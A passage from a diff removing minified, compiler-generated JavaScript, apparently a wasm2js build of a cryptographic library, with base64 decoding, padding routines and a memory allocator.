>>> 0 >= n9 >>> 0) - break n; - if (61 != c4[t7 + r11 | 0]) { - l5 = t7, u5 = 28; - break n; - } - if (g5 = t7 + f5 | 0, 1 != (0 | f5)) { - if ((0 | (d5 = t7 + 1 | 0)) == (0 | l5)) - break n; - if (61 != c4[r11 + d5 | 0]) { - l5 = d5, u5 = 28; - break n; - } - if (2 != (0 | f5)) { - if ((0 | (t7 = t7 + 2 | 0)) == (0 | l5)) - break n; - if (u5 = 28, l5 = t7, 61 != c4[t7 + r11 | 0]) - break n; - } - } - } - if (e6 = 0, A8) - break r; - break e; - } - a4[9005] = u5; - break t; - } - if (!(n9 >>> 0 <= g5 >>> 0)) { - for (; ; ) { - if (!At2(A8, s4[r11 + g5 | 0])) - break e; - if ((0 | (g5 = g5 + 1 | 0)) == (0 | n9)) - break; - } - g5 = n9; - } - } - l5 = g5, C5 = I5; - } - return h5 ? a4[h5 >> 2] = r11 + l5 : (0 | n9) != (0 | l5) && (a4[9005] = 28, e6 = -1), o5 && (a4[o5 >> 2] = C5), 0 | e6; - }, kc: function() { - var t7 = 0; - return a4[9136] ? t7 = 1 : (Ot2(), vt2(36528, 16), a4[9136] = 1, t7 = 0), 0 | t7; - }, lc: function(t7, e6, r11, n9, A8) { - t7 |= 0, e6 |= 0, r11 |= 0, A8 |= 0; - var o5, h5 = 0, g5 = 0, u5 = 0; - I4 = o5 = I4 - 16 | 0; - t: { - if (n9 |= 0) { - if ((h5 = n9 - 1 | 0) & n9 ? (g5 = ~r11, h5 = h5 - ((r11 >>> 0) % (n9 >>> 0) | 0) | 0) : h5 &= g5 = ~r11, g5 >>> 0 <= h5 >>> 0) - break t; - if (g5 = -1, !((r11 = r11 + h5 | 0) >>> 0 >= A8 >>> 0)) - for (t7 && (a4[t7 >> 2] = r11 + 1), t7 = e6 + r11 | 0, g5 = 0, s4[o5 + 15 | 0] = 0, r11 = 0; A8 = e6 = t7 - r11 | 0, u5 = c4[0 | e6] & c4[o5 + 15 | 0], e6 = (r11 ^ h5) - 1 >>> 24 | 0, s4[0 | A8] = u5 | 128 & e6, s4[o5 + 15 | 0] = e6 | c4[o5 + 15 | 0], (0 | n9) != (0 | (r11 = r11 + 1 | 0)); ) - ; - } else - g5 = -1; - return I4 = o5 + 16 | 0, 0 | g5; - } - Kt2(), i3(); - }, mc: function(t7, e6, r11, n9) { - t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0; - var A8, i4 = 0, o5 = 0, s5 = 0, h5 = 0, g5 = 0; - if (a4[12 + (A8 = I4 - 16 | 0) >> 2] = 0, n9 - 1 >>> 0 < r11 >>> 0) { - for (g5 = (i4 = r11 - 1 | 0) + e6 | 0, r11 = 0, e6 = 0; h5 = ((128 ^ (o5 = c4[g5 - r11 | 0])) - 1 & a4[A8 + 12 >> 2] - 1 & s5 - 1) >>> 8 & 1, a4[A8 + 12 >> 2] = a4[A8 + 12 >> 2] | 0 - h5 & r11, e6 |= h5, s5 |= o5, (0 | n9) != (0 | (r11 = r11 + 1 | 0)); ) - ; - a4[t7 >> 2] = i4 - a4[A8 + 12 >> 2], t7 = (255 & e6) - 1 | 0; - } else - t7 = -1; - return 0 | t7; - }, nc: function() { - return 1312; - }, oc: function() { - return 26; - }, pc: le2, qc: le2, rc: function(t7) { - var e6, r11 = 0, n9 = 0, A8 = 0, i4 = 0, o5 = 0, s5 = 0, g5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, y5 = 0; - I4 = e6 = I4 - 16 | 0; - t: { - e: { - r: { - n: { - A: { - i: { - o: { - s: { - a: { - c: { - h: { - g: { - u: { - l: { - if ((t7 |= 0) >>> 0 <= 244) { - if (3 & (r11 = (s5 = a4[9006]) >>> (n9 = (g5 = t7 >>> 0 < 11 ? 16 : t7 + 11 & -8) >>> 3 | 0) | 0)) { - r11 = 36064 + (t7 = (n9 = n9 + (1 & ~r11) | 0) << 3) | 0, A8 = a4[t7 + 36072 >> 2], (0 | r11) != (0 | (t7 = a4[A8 + 8 >> 2])) ? (a4[t7 + 12 >> 2] = r11, a4[r11 + 8 >> 2] = t7) : (d5 = 36024, y5 = Gt2(-2, n9) & s5, a4[d5 >> 2] = y5), t7 = A8 + 8 | 0, r11 = n9 << 3, a4[A8 + 4 >> 2] = 3 | r11, a4[4 + (r11 = r11 + A8 | 0) >> 2] = 1 | a4[r11 + 4 >> 2]; - break t; - } - if ((p5 = a4[9008]) >>> 0 >= g5 >>> 0) - break l; - if (r11) { - r11 = 36064 + (t7 = (A8 = qt2((0 - (t7 = 2 << n9) | t7) & r11 << n9)) << 3) | 0, i4 = a4[t7 + 36072 >> 2], (0 | r11) != (0 | (t7 = a4[i4 + 8 >> 2])) ? (a4[t7 + 12 >> 2] = r11, a4[r11 + 8 >> 2] = t7) : (s5 = Gt2(-2, A8) & s5, a4[9006] = s5), a4[i4 + 4 >> 2] = 3 | g5, A8 = (t7 = A8 << 3) - g5 | 0, a4[4 + (n9 = i4 + g5 | 0) >> 2] = 1 | A8, a4[t7 + i4 >> 2] = A8, p5 && (r11 = 36064 + (-8 & p5) | 0, o5 = a4[9011], (t7 = 1 << (p5 >>> 3)) & s5 ? t7 = a4[r11 + 8 >> 2] : (a4[9006] = t7 | s5, t7 = r11), a4[r11 + 8 >> 2] = o5, a4[t7 + 12 >> 2] = o5, a4[o5 + 12 >> 2] = r11, a4[o5 + 8 >> 2] = t7), t7 = i4 + 8 | 0, a4[9011] = n9, a4[9008] = A8; - break t; - } - if (!(f5 = a4[9007])) - break l; - for (n9 = a4[36328 + (qt2(f5) << 2) >> 2], o5 = (-8 & a4[n9 + 4 >> 2]) - g5 | 0, r11 = n9; (t7 = a4[r11 + 16 >> 2]) || (t7 = a4[r11 + 20 >> 2]); ) - o5 = (A8 = (r11 = (-8 & a4[t7 + 4 >> 2]) - g5 | 0) >>> 0 < o5 >>> 0) ? r11 : o5, n9 = A8 ? t7 : n9, r11 = t7; - if (l5 = a4[n9 + 24 >> 2], (0 | (A8 = a4[n9 + 12 >> 2])) != (0 | n9)) { - t7 = a4[n9 + 8 >> 2], a4[t7 + 12 >> 2] = A8, a4[A8 + 8 >> 2] = t7; - break e; - } - if (!(t7 = a4[(r11 = n9 + 20 | 0) >> 2])) { - if (!(t7 = a4[n9 + 16 >> 2])) - break u; - r11 = n9 + 16 | 0; - } - for (; i4 = r11, A8 = t7, (t7 = a4[(r11 = t7 + 20 | 0) >> 2]) || (r11 = A8 + 16 | 0, t7 = a4[A8 + 16 >> 2]); ) - ; - a4[i4 >> 2] = 0; - break e; - } - if (g5 = -1, !(t7 >>> 0 > 4294967231) && (g5 = -8 & (t7 = t7 + 11 | 0), f5 = a4[9007])) { - o5 = 0 - g5 | 0, s5 = 0, g5 >>> 0 < 256 || (s5 = 31, g5 >>> 0 > 16777215 || (s5 = 62 + ((g5 >>> 38 - (t7 = u4(t7 >>> 8 | 0)) & 1) - (t7 << 1) | 0) | 0)); - f: { - p: { - if (r11 = a4[36328 + (s5 << 2) >> 2]) - for (t7 = 0, n9 = g5 << (31 != (0 | s5) ? 25 - (s5 >>> 1 | 0) : 0); ; ) { - if (!((i4 = (-8 & a4[r11 + 4 >> 2]) - g5 | 0) >>> 0 >= o5 >>> 0 || (A8 = r11, o5 = i4, i4))) { - o5 = 0, t7 = r11; - break p; - } - if (i4 = a4[r11 + 20 >> 2], r11 = a4[16 + ((n9 >>> 29 & 4) + r11 | 0) >> 2], t7 = i4 ? (0 | i4) == (0 | r11) ? t7 : i4 : t7, n9 <<= 1, !r11) - break; - } - else - t7 = 0; - if (!(t7 | A8)) { - if (A8 = 0, !(t7 = (0 - (t7 = 2 << s5) | t7) & f5)) - break l; - t7 = a4[36328 + (qt2(t7) << 2) >> 2]; - } - if (!t7) - break f; - } - for (; o5 = (n9 = (r11 = (-8 & a4[t7 + 4 >> 2]) - g5 | 0) >>> 0 < o5 >>> 0) ? r11 : o5, A8 = n9 ? t7 : A8, t7 = (r11 = a4[t7 + 16 >> 2]) || a4[t7 + 20 >> 2]; ) - ; - } - if (!(!A8 | a4[9008] - g5 >>> 0 <= o5 >>> 0)) { - if (s5 = a4[A8 + 24 >> 2], (0 | A8) != (0 | (n9 = a4[A8 + 12 >> 2]))) { - t7 = a4[A8 + 8 >> 2], a4[t7 + 12 >> 2] = n9, a4[n9 + 8 >> 2] = t7; - break r; - } - if (!(t7 = a4[(r11 = A8 + 20 | 0) >> 2])) { - if (!(t7 = a4[A8 + 16 >> 2])) - break g; - r11 = A8 + 16 | 0; - } - for (; i4 = r11, n9 = t7, (t7 = a4[(r11 = t7 + 20 | 0) >> 2]) || (r11 = n9 + 16 | 0, t7 = a4[n9 + 16 >> 2]); ) - ; - a4[i4 >> 2] = 0; - break r; - } - } - } - if ((t7 = a4[9008]) >>> 0 >= g5 >>> 0) { - A8 = a4[9011], (r11 = t7 - g5 | 0) >>> 0 >= 16 ? (a4[4 + (n9 = A8 + g5 | 0) >> 2] = 1 | r11, a4[t7 + A8 >> 2] = r11, a4[A8 + 4 >> 2] = 3 | g5) : (a4[A8 + 4 >> 2] = 3 | t7, a4[4 + (t7 = t7 + A8 | 0) >> 2] = 1 | a4[t7 + 4 >> 2], n9 = 0, r11 = 0), a4[9008] = r11, a4[9011] = n9, t7 = A8 + 8 | 0; - break t; - } - if ((l5 = a4[9009]) >>> 0 > g5 >>> 0) { - r11 = l5 - g5 | 0, a4[9009] = r11, t7 = (n9 = a4[9012]) + g5 | 0, a4[9012] = t7, a4[t7 + 4 >> 2] = 1 | r11, a4[n9 + 4 >> 2] = 3 | g5, t7 = n9 + 8 | 0; - break t; - } - if (t7 = 0, f5 = g5 + 47 | 0, a4[9124] ? n9 = a4[9126] : (a4[9127] = -1, a4[9128] = -1, a4[9125] = 4096, a4[9126] = 4096, a4[9124] = e6 + 12 & -16 ^ 1431655768, a4[9129] = 0, a4[9117] = 0, n9 = 4096), (r11 = (i4 = f5 + n9 | 0) & (o5 = 0 - n9 | 0)) >>> 0 <= g5 >>> 0) - break t; - if ((A8 = a4[9116]) && A8 >>> 0 < (s5 = (n9 = a4[9114]) + r11 | 0) >>> 0 | n9 >>> 0 >= s5 >>> 0) - break t; - l: { - if (!(4 & c4[36468])) { - f: { - p: { - d: { - I: { - if (A8 = a4[9012]) - for (t7 = 36472; ; ) { - if ((n9 = a4[t7 >> 2]) >>> 0 <= A8 >>> 0 & A8 >>> 0 < n9 + a4[t7 + 4 >> 2] >>> 0) - break I; - if (!(t7 = a4[t7 + 8 >> 2])) - break; - } - if (-1 == (0 | (n9 = Qt2(0)))) - break f; - if (s5 = r11, (t7 = (A8 = a4[9125]) - 1 | 0) & n9 && (s5 = (r11 - n9 | 0) + (t7 + n9 & 0 - A8) | 0), s5 >>> 0 <= g5 >>> 0) - break f; - if ((A8 = a4[9116]) && A8 >>> 0 < (o5 = (t7 = a4[9114]) + s5 | 0) >>> 0 | t7 >>> 0 >= o5 >>> 0) - break f; - if ((0 | n9) != (0 | (t7 = Qt2(s5)))) - break d; - break l; - } - if ((0 | (n9 = Qt2(s5 = o5 & i4 - l5))) == (a4[t7 >> 2] + a4[t7 + 4 >> 2] | 0)) - break p; - t7 = n9; - } - if (-1 == (0 | t7)) - break f; - if (g5 + 48 >>> 0 <= s5 >>> 0) { - n9 = t7; - break l; - } - if (-1 == (0 | Qt2(n9 = (n9 = a4[9126]) + (f5 - s5 | 0) & 0 - n9))) - break f; - s5 = n9 + s5 | 0, n9 = t7; - break l; - } - if (-1 != (0 | n9)) - break l; - } - a4[9117] = 4 | a4[9117]; - } - if (-1 == (0 | (n9 = Qt2(r11))) | -1 == (0 | (t7 = Qt2(0))) | t7 >>> 0 <= n9 >>> 0) - break a; - if ((s5 = t7 - n9 | 0) >>> 0 <= g5 + 40 >>> 0) - break a; - } - t7 = a4[9114] + s5 | 0, a4[9114] = t7, t7 >>> 0 > h4[9115] && (a4[9115] = t7); - l: { - if (i4 = a4[9012]) { - for (t7 = 36472; ; ) { - if (((A8 = a4[t7 >> 2]) + (r11 = a4[t7 + 4 >> 2]) | 0) == (0 | n9)) - break l; - if (!(t7 = a4[t7 + 8 >> 2])) - break; - } - break h; - } - for ((t7 = a4[9010]) >>> 0 <= n9 >>> 0 && t7 || (a4[9010] = n9), t7 = 0, a4[9119] = s5, a4[9118] = n9, a4[9014] = -1, a4[9015] = a4[9124], a4[9121] = 0; r11 = 36064 + (A8 = t7 << 3) | 0, a4[A8 + 36072 >> 2] = r11, a4[A8 + 36076 >> 2] = r11, 32 != (0 | (t7 = t7 + 1 | 0)); ) - ; - r11 = (A8 = s5 - 40 | 0) - (t7 = -8 - n9 & 7) | 0, a4[9009] = r11, t7 = t7 + n9 | 0, a4[9012] = t7, a4[t7 + 4 >> 2] = 1 | r11, a4[4 + (n9 + A8 | 0) >> 2] = 40, a4[9013] = a4[9128]; - break c; - } - if (8 & a4[t7 + 12 >> 2] | n9 >>> 0 <= i4 >>> 0 | A8 >>> 0 > i4 >>> 0) - break h; - a4[t7 + 4 >> 2] = r11 + s5, n9 = (t7 = -8 - i4 & 7) + i4 | 0, a4[9012] = n9, t7 = (r11 = a4[9009] + s5 | 0) - t7 | 0, a4[9009] = t7, a4[n9 + 4 >> 2] = 1 | t7, a4[4 + (r11 + i4 | 0) >> 2] = 40, a4[9013] = a4[9128]; - break c; - } - A8 = 0; - break e; - } - n9 = 0; - break r; - } - h4[9010] > n9 >>> 0 && (a4[9010] = n9), r11 = n9 + s5 | 0, t7 = 36472; - h: { - g: { - u: { - for (; ; ) { - if ((0 | r11) != a4[t7 >> 2]) { - if (t7 = a4[t7 + 8 >> 2]) - continue; - break u; - } - break; - } - if (!(8 & c4[t7 + 12 | 0])) - break g; - } - for (t7 = 36472; ; ) { - if ((r11 = a4[t7 >> 2]) >>> 0 <= i4 >>> 0 && (o5 = r11 + a4[t7 + 4 >> 2] | 0) >>> 0 > i4 >>> 0) - break h; - t7 = a4[t7 + 8 >> 2]; - } - } - if (a4[t7 >> 2] = n9, a4[t7 + 4 >> 2] = a4[t7 + 4 >> 2] + s5, a4[4 + (f5 = (-8 - n9 & 7) + n9 | 0) >> 2] = 3 | g5, t7 = (s5 = r11 + (-8 - r11 & 7) | 0) - (l5 = g5 + f5 | 0) | 0, (0 | i4) == (0 | s5)) { - a4[9012] = l5, t7 = a4[9009] + t7 | 0, a4[9009] = t7, a4[l5 + 4 >> 2] = 1 | t7; - break n; - } - if (a4[9011] == (0 | s5)) { - a4[9011] = l5, t7 = a4[9008] + t7 | 0, a4[9008] = t7, a4[l5 + 4 >> 2] = 1 | t7, a4[t7 + l5 >> 2] = t7; - break n; - } - if (1 != (3 & (o5 = a4[s5 + 4 >> 2]))) - break A; - if (i4 = -8 & o5, o5 >>> 0 <= 255) { - if ((0 | (n9 = a4[s5 + 12 >> 2])) == (0 | (r11 = a4[s5 + 8 >> 2]))) { - d5 = 36024, y5 = a4[9006] & Gt2(-2, o5 >>> 3 | 0), a4[d5 >> 2] = y5; - break i; - } - a4[r11 + 12 >> 2] = n9, a4[n9 + 8 >> 2] = r11; - break i; - } - if (g5 = a4[s5 + 24 >> 2], (0 | s5) != (0 | (n9 = a4[s5 + 12 >> 2]))) { - r11 = a4[s5 + 8 >> 2], a4[r11 + 12 >> 2] = n9, a4[n9 + 8 >> 2] = r11; - break o; - } - if (!(o5 = a4[(r11 = s5 + 20 | 0) >> 2])) { - if (!(o5 = a4[s5 + 16 >> 2])) - break s; - r11 = s5 + 16 | 0; - } - for (; A8 = r11, (o5 = a4[(r11 = (n9 = o5) + 20 | 0) >> 2]) || (r11 = n9 + 16 | 0, o5 = a4[n9 + 16 >> 2]); ) - ; - a4[A8 >> 2] = 0; - break o; - } - for (r11 = (A8 = s5 - 40 | 0) - (t7 = -8 - n9 & 7) | 0, a4[9009] = r11, t7 = t7 + n9 | 0, a4[9012] = t7, a4[t7 + 4 >> 2] = 1 | r11, a4[4 + (n9 + A8 | 0) >> 2] = 40, a4[9013] = a4[9128], a4[(A8 = (t7 = (o5 + (39 - o5 & 7) | 0) - 47 | 0) >>> 0 < i4 + 16 >>> 0 ? i4 : t7) + 4 >> 2] = 27, t7 = a4[9121], a4[A8 + 16 >> 2] = a4[9120], a4[A8 + 20 >> 2] = t7, t7 = a4[9119], a4[A8 + 8 >> 2] = a4[9118], a4[A8 + 12 >> 2] = t7, a4[9120] = A8 + 8, a4[9119] = s5, a4[9118] = n9, a4[9121] = 0, t7 = A8 + 24 | 0; a4[t7 + 4 >> 2] = 7, r11 = t7 + 8 | 0, t7 = t7 + 4 | 0, r11 >>> 0 < o5 >>> 0; ) - ; - if ((0 | A8) != (0 | i4)) - if (a4[A8 + 4 >> 2] = -2 & a4[A8 + 4 >> 2], o5 = A8 - i4 | 0, a4[i4 + 4 >> 2] = 1 | o5, a4[A8 >> 2] = o5, o5 >>> 0 <= 255) - r11 = 36064 + (-8 & o5) | 0, (n9 = a4[9006]) & (t7 = 1 << (o5 >>> 3)) ? t7 = a4[r11 + 8 >> 2] : (a4[9006] = t7 | n9, t7 = r11), a4[r11 + 8 >> 2] = i4, a4[t7 + 12 >> 2] = i4, a4[i4 + 12 >> 2] = r11, a4[i4 + 8 >> 2] = t7; - else { - t7 = 31, o5 >>> 0 <= 16777215 && (t7 = 62 + ((o5 >>> 38 - (t7 = u4(o5 >>> 8 | 0)) & 1) - (t7 << 1) | 0) | 0), a4[i4 + 28 >> 2] = t7, a4[i4 + 16 >> 2] = 0, a4[i4 + 20 >> 2] = 0, r11 = 36328 + (t7 << 2) | 0; - h: { - if ((A8 = a4[9007]) & (n9 = 1 << t7)) { - for (t7 = o5 << (31 != (0 | t7) ? 25 - (t7 >>> 1 | 0) : 0), A8 = a4[r11 >> 2]; ; ) { - if ((0 | o5) == (-8 & a4[(r11 = A8) + 4 >> 2])) - break h; - if (n9 = t7 >>> 29 | 0, t7 <<= 1, !(A8 = a4[16 + (n9 = (4 & n9) + r11 | 0) >> 2])) - break; - } - a4[n9 + 16 >> 2] = i4; - } else - a4[9007] = n9 | A8, a4[r11 >> 2] = i4; - a4[i4 + 24 >> 2] = r11, a4[i4 + 12 >> 2] = i4, a4[i4 + 8 >> 2] = i4; - break c; - } - t7 = a4[r11 + 8 >> 2], a4[t7 + 12 >> 2] = i4, a4[r11 + 8 >> 2] = i4, a4[i4 + 24 >> 2] = 0, a4[i4 + 12 >> 2] = r11, a4[i4 + 8 >> 2] = t7; - } - } - if (!((t7 = a4[9009]) >>> 0 <= g5 >>> 0)) { - r11 = t7 - g5 | 0, a4[9009] = r11, t7 = (n9 = a4[9012]) + g5 | 0, a4[9012] = t7, a4[t7 + 4 >> 2] = 1 | r11, a4[n9 + 4 >> 2] = 3 | g5, t7 = n9 + 8 | 0; - break t; - } - } - a4[9005] = 48, t7 = 0; - break t; - } - n9 = 0; - } - if (g5) { - A8 = a4[s5 + 28 >> 2]; - o: { - if (a4[(r11 = 36328 + (A8 << 2) | 0) >> 2] == (0 | s5)) { - if (a4[r11 >> 2] = n9, n9) - break o; - d5 = 36028, y5 = a4[9007] & Gt2(-2, A8), a4[d5 >> 2] = y5; - break i; - } - if (a4[g5 + (a4[g5 + 16 >> 2] == (0 | s5) ? 16 : 20) >> 2] = n9, !n9) - break i; - } - a4[n9 + 24 >> 2] = g5, (r11 = a4[s5 + 16 >> 2]) && (a4[n9 + 16 >> 2] = r11, a4[r11 + 24 >> 2] = n9), (r11 = a4[s5 + 20 >> 2]) && (a4[n9 + 20 >> 2] = r11, a4[r11 + 24 >> 2] = n9); - } - } - t7 = t7 + i4 | 0, o5 = a4[4 + (s5 = i4 + s5 | 0) >> 2]; - } - if (a4[s5 + 4 >> 2] = -2 & o5, a4[l5 + 4 >> 2] = 1 | t7, a4[t7 + l5 >> 2] = t7, t7 >>> 0 <= 255) - r11 = 36064 + (-8 & t7) | 0, (n9 = a4[9006]) & (t7 = 1 << (t7 >>> 3)) ? t7 = a4[r11 + 8 >> 2] : (a4[9006] = t7 | n9, t7 = r11), a4[r11 + 8 >> 2] = l5, a4[t7 + 12 >> 2] = l5, a4[l5 + 12 >> 2] = r11, a4[l5 + 8 >> 2] = t7; - else { - o5 = 31, t7 >>> 0 <= 16777215 && (o5 = 62 + ((t7 >>> 38 - (r11 = u4(t7 >>> 8 | 0)) & 1) - (r11 << 1) | 0) | 0), a4[l5 + 28 >> 2] = o5, a4[l5 + 16 >> 2] = 0, a4[l5 + 20 >> 2] = 0, r11 = 36328 + (o5 << 2) | 0; - A: { - if ((A8 = a4[9007]) & (n9 = 1 << o5)) { - for (o5 = t7 << (31 != (0 | o5) ? 25 - (o5 >>> 1 | 0) : 0), n9 = a4[r11 >> 2]; ; ) { - if (r11 = n9, (-8 & a4[n9 + 4 >> 2]) == (0 | t7)) - break A; - if (A8 = o5 >>> 29 | 0, o5 <<= 1, !(n9 = a4[16 + (A8 = (4 & A8) + n9 | 0) >> 2])) - break; - } - a4[A8 + 16 >> 2] = l5; - } else - a4[9007] = n9 | A8, a4[r11 >> 2] = l5; - a4[l5 + 24 >> 2] = r11, a4[l5 + 12 >> 2] = l5, a4[l5 + 8 >> 2] = l5; - break n; - } - t7 = a4[r11 + 8 >> 2], a4[t7 + 12 >> 2] = l5, a4[r11 + 8 >> 2] = l5, a4[l5 + 24 >> 2] = 0, a4[l5 + 12 >> 2] = r11, a4[l5 + 8 >> 2] = t7; - } - } - t7 = f5 + 8 | 0; - break t; - } - r: - if (s5) { - r11 = a4[A8 + 28 >> 2]; - n: { - if (a4[(t7 = 36328 + (r11 << 2) | 0) >> 2] == (0 | A8)) { - if (a4[t7 >> 2] = n9, n9) - break n; - f5 = Gt2(-2, r11) & f5, a4[9007] = f5; - break r; - } - if (a4[s5 + (a4[s5 + 16 >> 2] == (0 | A8) ? 16 : 20) >> 2] = n9, !n9) - break r; - } - a4[n9 + 24 >> 2] = s5, (t7 = a4[A8 + 16 >> 2]) && (a4[n9 + 16 >> 2] = t7, a4[t7 + 24 >> 2] = n9), (t7 = a4[A8 + 20 >> 2]) && (a4[n9 + 20 >> 2] = t7, a4[t7 + 24 >> 2] = n9); - } - r: - if (o5 >>> 0 <= 15) - t7 = o5 + g5 | 0, a4[A8 + 4 >> 2] = 3 | t7, a4[4 + (t7 = t7 + A8 | 0) >> 2] = 1 | a4[t7 + 4 >> 2]; - else if (a4[A8 + 4 >> 2] = 3 | g5, a4[4 + (i4 = A8 + g5 | 0) >> 2] = 1 | o5, a4[i4 + o5 >> 2] = o5, o5 >>> 0 <= 255) - r11 = 36064 + (-8 & o5) | 0, (n9 = a4[9006]) & (t7 = 1 << (o5 >>> 3)) ? t7 = a4[r11 + 8 >> 2] : (a4[9006] = t7 | n9, t7 = r11), a4[r11 + 8 >> 2] = i4, a4[t7 + 12 >> 2] = i4, a4[i4 + 12 >> 2] = r11, a4[i4 + 8 >> 2] = t7; - else { - t7 = 31, o5 >>> 0 <= 16777215 && (t7 = 62 + ((o5 >>> 38 - (t7 = u4(o5 >>> 8 | 0)) & 1) - (t7 << 1) | 0) | 0), a4[i4 + 28 >> 2] = t7, a4[i4 + 16 >> 2] = 0, a4[i4 + 20 >> 2] = 0, r11 = 36328 + (t7 << 2) | 0; - n: { - if ((n9 = 1 << t7) & f5) { - for (t7 = o5 << (31 != (0 | t7) ? 25 - (t7 >>> 1 | 0) : 0), g5 = a4[r11 >> 2]; ; ) { - if ((-8 & a4[(r11 = g5) + 4 >> 2]) == (0 | o5)) - break n; - if (n9 = t7 >>> 29 | 0, t7 <<= 1, !(g5 = a4[16 + (n9 = (4 & n9) + r11 | 0) >> 2])) - break; - } - a4[n9 + 16 >> 2] = i4; - } else - a4[9007] = n9 | f5, a4[r11 >> 2] = i4; - a4[i4 + 24 >> 2] = r11, a4[i4 + 12 >> 2] = i4, a4[i4 + 8 >> 2] = i4; - break r; - } - t7 = a4[r11 + 8 >> 2], a4[t7 + 12 >> 2] = i4, a4[r11 + 8 >> 2] = i4, a4[i4 + 24 >> 2] = 0, a4[i4 + 12 >> 2] = r11, a4[i4 + 8 >> 2] = t7; - } - t7 = A8 + 8 | 0; - break t; - } - e: - if (l5) { - r11 = a4[n9 + 28 >> 2]; - r: { - if (a4[(t7 = 36328 + (r11 << 2) | 0) >> 2] == (0 | n9)) { - if (a4[t7 >> 2] = A8, A8) - break r; - d5 = 36028, y5 = Gt2(-2, r11) & f5, a4[d5 >> 2] = y5; - break e; - } - if (a4[l5 + (a4[l5 + 16 >> 2] == (0 | n9) ? 16 : 20) >> 2] = A8, !A8) - break e; - } - a4[A8 + 24 >> 2] = l5, (t7 = a4[n9 + 16 >> 2]) && (a4[A8 + 16 >> 2] = t7, a4[t7 + 24 >> 2] = A8), (t7 = a4[n9 + 20 >> 2]) && (a4[A8 + 20 >> 2] = t7, a4[t7 + 24 >> 2] = A8); - } - o5 >>> 0 <= 15 ? (t7 = o5 + g5 | 0, a4[n9 + 4 >> 2] = 3 | t7, a4[4 + (t7 = t7 + n9 | 0) >> 2] = 1 | a4[t7 + 4 >> 2]) : (a4[n9 + 4 >> 2] = 3 | g5, a4[4 + (A8 = n9 + g5 | 0) >> 2] = 1 | o5, a4[A8 + o5 >> 2] = o5, p5 && (r11 = 36064 + (-8 & p5) | 0, i4 = a4[9011], (t7 = 1 << (p5 >>> 3)) & s5 ? t7 = a4[r11 + 8 >> 2] : (a4[9006] = t7 | s5, t7 = r11), a4[r11 + 8 >> 2] = i4, a4[t7 + 12 >> 2] = i4, a4[i4 + 12 >> 2] = r11, a4[i4 + 8 >> 2] = t7), a4[9011] = A8, a4[9008] = o5), t7 = n9 + 8 | 0; - } - return I4 = e6 + 16 | 0, 0 | t7; - }, sc: function(t7) { - var e6 = 0, r11 = 0, n9 = 0, A8 = 0, i4 = 0, o5 = 0, s5 = 0, c5 = 0, g5 = 0; - t: - if (t7 |= 0) { - i4 = (n9 = t7 - 8 | 0) + (t7 = -8 & (e6 = a4[t7 - 4 >> 2])) | 0; - e: - if (!(1 & e6)) { - if (!(3 & e6)) - break t; - if ((n9 = n9 - (e6 = a4[n9 >> 2]) | 0) >>> 0 < h4[9010]) - break t; - t7 = t7 + e6 | 0; - r: { - n: { - if (a4[9011] != (0 | n9)) { - if (e6 >>> 0 <= 255) { - if (A8 = e6 >>> 3 | 0, (0 | (e6 = a4[n9 + 12 >> 2])) == (0 | (r11 = a4[n9 + 8 >> 2]))) { - c5 = 36024, g5 = a4[9006] & Gt2(-2, A8), a4[c5 >> 2] = g5; - break e; - } - a4[r11 + 12 >> 2] = e6, a4[e6 + 8 >> 2] = r11; - break e; - } - if (s5 = a4[n9 + 24 >> 2], (0 | n9) != (0 | (e6 = a4[n9 + 12 >> 2]))) { - r11 = a4[n9 + 8 >> 2], a4[r11 + 12 >> 2] = e6, a4[e6 + 8 >> 2] = r11; - break r; - } - if (!(r11 = a4[(A8 = n9 + 20 | 0) >> 2])) { - if (!(r11 = a4[n9 + 16 >> 2])) - break n; - A8 = n9 + 16 | 0; - } - for (; o5 = A8, (r11 = a4[(A8 = (e6 = r11) + 20 | 0) >> 2]) || (A8 = e6 + 16 | 0, r11 = a4[e6 + 16 >> 2]); ) - ; - a4[o5 >> 2] = 0; - break r; - } - if (3 & ~(e6 = a4[i4 + 4 >> 2])) - break e; - return a4[9008] = t7, a4[i4 + 4 >> 2] = -2 & e6, a4[n9 + 4 >> 2] = 1 | t7, void (a4[i4 >> 2] = t7); - } - e6 = 0; - } - if (s5) { - r11 = a4[n9 + 28 >> 2]; - r: { - if (a4[(A8 = 36328 + (r11 << 2) | 0) >> 2] == (0 | n9)) { - if (a4[A8 >> 2] = e6, e6) - break r; - c5 = 36028, g5 = a4[9007] & Gt2(-2, r11), a4[c5 >> 2] = g5; - break e; - } - if (a4[s5 + (a4[s5 + 16 >> 2] == (0 | n9) ? 16 : 20) >> 2] = e6, !e6) - break e; - } - a4[e6 + 24 >> 2] = s5, (r11 = a4[n9 + 16 >> 2]) && (a4[e6 + 16 >> 2] = r11, a4[r11 + 24 >> 2] = e6), (r11 = a4[n9 + 20 >> 2]) && (a4[e6 + 20 >> 2] = r11, a4[r11 + 24 >> 2] = e6); - } - } - if (!(n9 >>> 0 >= i4 >>> 0) && 1 & (e6 = a4[i4 + 4 >> 2])) { - e: { - r: { - n: { - A: { - if (!(2 & e6)) { - if (a4[9012] == (0 | i4)) { - if (a4[9012] = n9, t7 = a4[9009] + t7 | 0, a4[9009] = t7, a4[n9 + 4 >> 2] = 1 | t7, a4[9011] != (0 | n9)) - break t; - return a4[9008] = 0, void (a4[9011] = 0); - } - if (a4[9011] == (0 | i4)) - return a4[9011] = n9, t7 = a4[9008] + t7 | 0, a4[9008] = t7, a4[n9 + 4 >> 2] = 1 | t7, void (a4[t7 + n9 >> 2] = t7); - if (t7 = (-8 & e6) + t7 | 0, e6 >>> 0 <= 255) { - if (A8 = e6 >>> 3 | 0, (0 | (e6 = a4[i4 + 12 >> 2])) == (0 | (r11 = a4[i4 + 8 >> 2]))) { - c5 = 36024, g5 = a4[9006] & Gt2(-2, A8), a4[c5 >> 2] = g5; - break r; - } - a4[r11 + 12 >> 2] = e6, a4[e6 + 8 >> 2] = r11; - break r; - } - if (s5 = a4[i4 + 24 >> 2], (0 | i4) != (0 | (e6 = a4[i4 + 12 >> 2]))) { - r11 = a4[i4 + 8 >> 2], a4[r11 + 12 >> 2] = e6, a4[e6 + 8 >> 2] = r11; - break n; - } - if (!(r11 = a4[(A8 = i4 + 20 | 0) >> 2])) { - if (!(r11 = a4[i4 + 16 >> 2])) - break A; - A8 = i4 + 16 | 0; - } - for (; o5 = A8, (r11 = a4[(A8 = (e6 = r11) + 20 | 0) >> 2]) || (A8 = e6 + 16 | 0, r11 = a4[e6 + 